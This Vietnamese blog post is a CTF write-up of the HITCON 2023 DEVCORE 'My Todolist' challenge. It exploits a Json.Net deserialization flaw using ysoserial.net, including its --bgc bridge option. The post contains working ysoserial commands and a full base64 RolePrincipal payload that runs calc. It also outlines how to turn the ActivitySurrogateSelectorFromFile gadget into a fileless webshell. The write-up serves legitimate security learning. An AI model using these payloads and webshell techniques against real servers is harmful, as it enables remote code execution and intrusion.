Vô tình và tình cờ thì mình được một người anh giới thiệu cho mình khám phá thử một argument mới của ysoserial.net. Ảnh giới thiệu đây là argument khá hay ho để mình có thể khai thác được từ gadget này sang gadget khác một cách dễ dàng hơn, và cũng có vẻ như thì đây là argument khá lạ được researcher nào đó contribute vào project ysoserial.net (v1.36). Nên tiện thể mình muốn chia sẻ cái này với mọi người luôn    

Thì như mọi người đã biết về gadget ActivitySurrogateSelectorFromFile. Đây là gadget cực kì nguy hiểm khi có khả năng load bất kì các assembly, nhưng đã fix tại DotNet verrsion 4.8+. Tất nhiên là hiện nay vẫn có nhiều cách workaround để trigger gadget đấy, và mình sẽ chia sẻ cách mình trigger gadget nhanh gọn thông qua argument —bgc của ysoserial.net với bài chall My Todolist của HITCON 2023 x DEVCORE Wargame.

My Todolist - HITCON2023 x DEVCORE Wargame

Mọi người có thể clone source và build chall tại Github repo của tác giả: https://github.com/DEVCORE-Wargame/HITCON-2023. Sau khi clone và build chall My Todolist bằng docker (sử dụng Windows container) thì chall sẽ có một vài tính năng như sau: Register user, Login user, Tạo note, Sửa note, Xóa note, Xem danh sách Note.

Tại đây mình chỉ lưu ý các tính năng chính là Sửa Note và Xem danh sách note.

Đọc sơ source code thì xác định được lỗi Json.Net Deserialization tại LOC 20 – /Extensions/WebExtension.cs, khi các settings của JsonSerializerSettings tại TypeNameHandling được setup thành TypeNameHandling.AllMetadataPropertyHandling được setup thành MetadataPropertyHandling.ReadAhead

Đối với TypeNameHandling khi được bật thì khi Serialize object Json sẽ chứa $type và khi Deserialize thì sẽ đọc $type trong object được truyền vào. Tuy nhiên đối với case Clone này thì Deserialize lại nhận từ Serialize, điều này cũng có nghĩa là tại đây mình chưa control được $type. Nhưng với setting MetadataPropertyHandling khi được bật thì mình có thể ghi đè lại $type một cách dễ dàng mà không gặp trở ngại.  

Vậy thì mình sẽ POC cơ bản nhất mà không dùng qua BridgeGadgetChain để xác nhận nó là lỗi không nhé. Thực thi gen ra payload bằng câu lệnh sau:

ysoserial.exe -f Json.Net -g RolePrincipal -c calc

Nhận được payload như sau:

{
‘$type’: ‘System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a’,
‘System.Security.ClaimsPrincipal.Identities’: ‘AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==’
}

Để khai thác được lỗi trong chương trình thì sẽ theo thứ tự như sau, đầu tiên Đăng nhập vào rồi tạo một Note. Tiếp đến là nhấn vào note rồi chỉnh sửa theo request dưới đây

Request đầu tiên sẽ làm nhiệm vụ ghi đè $type cho object:

Request tiếp theo sẽ chèn payload tương ứng cặp key – value như sau:

Tiếp đến gửi request đến endpoint sau để thực Deserial và gọi calculator:

Sau khi đã POC chuẩn thì tiếp đến bắt tay với tham số —bgc để triệu hồi lại gadget ActivitySurrogateSelectorFromFile.

Tại sao lại dùng —bgc ?

Như cách response khi bật calculator ở phía trên mọi người đã thấy, chúng ta không thể nào thấy được response khi chúng ta inject, đồng thời thực tế hơn, thì các server hiện nay sẽ không cho outbound ra ngoài, điều này dẫn đến có cách nào để hiện các giá trị về phía response không? Tất nhiên là có và tại đây mình sẽ cố tạo response trả về kết quả bằng cách trigger bridge gadget ActivitySurrogateSelectorFromFile thông qua tham số —bgc.

 Để mà gadget ActivitySurrogateSelectorFromFile có thể hoạt động thì mình buộc phải disable Type Check như sau:

ysoserial.exe -g RolePrincipal -f Json.Net –bgc ActivitySurrogateDisableTypeCheck -c 1

Sau khi nhận được payload mình làm tương tự các bước như phía trên

Tiếp theo tạo payload cho gadget ActivitySurrogateSelectorFromFile theo câu lệnh như sau:

Với file ExploitClass.cs sẽ chứa code response thông qua header set cookie, còn 2 file System.dll và System.Web.dll có thể tự kiếm trong các folder của .Net framework và copy vào thư mục cùng cấp của ysoserial.net để tiện execute 

Sau khi gen code và thử thực thi thì nhận được response như sau

Cứ tương tự như vậy viết code thành một fileless webshell nhận input từ body và response trả về

Tổng kết

Chúng ta có thể dễ dàng bridge sang một chain khác bằng cách dùng option trong bản cập nhật mới nhất của ysoserial để có thực thi các chain mà mình mong muốn, từ đó nâng cao các mức độ nghiêm trọng của các chain lên để phù hợp với mục đích của chúng ta.

664 lượt xem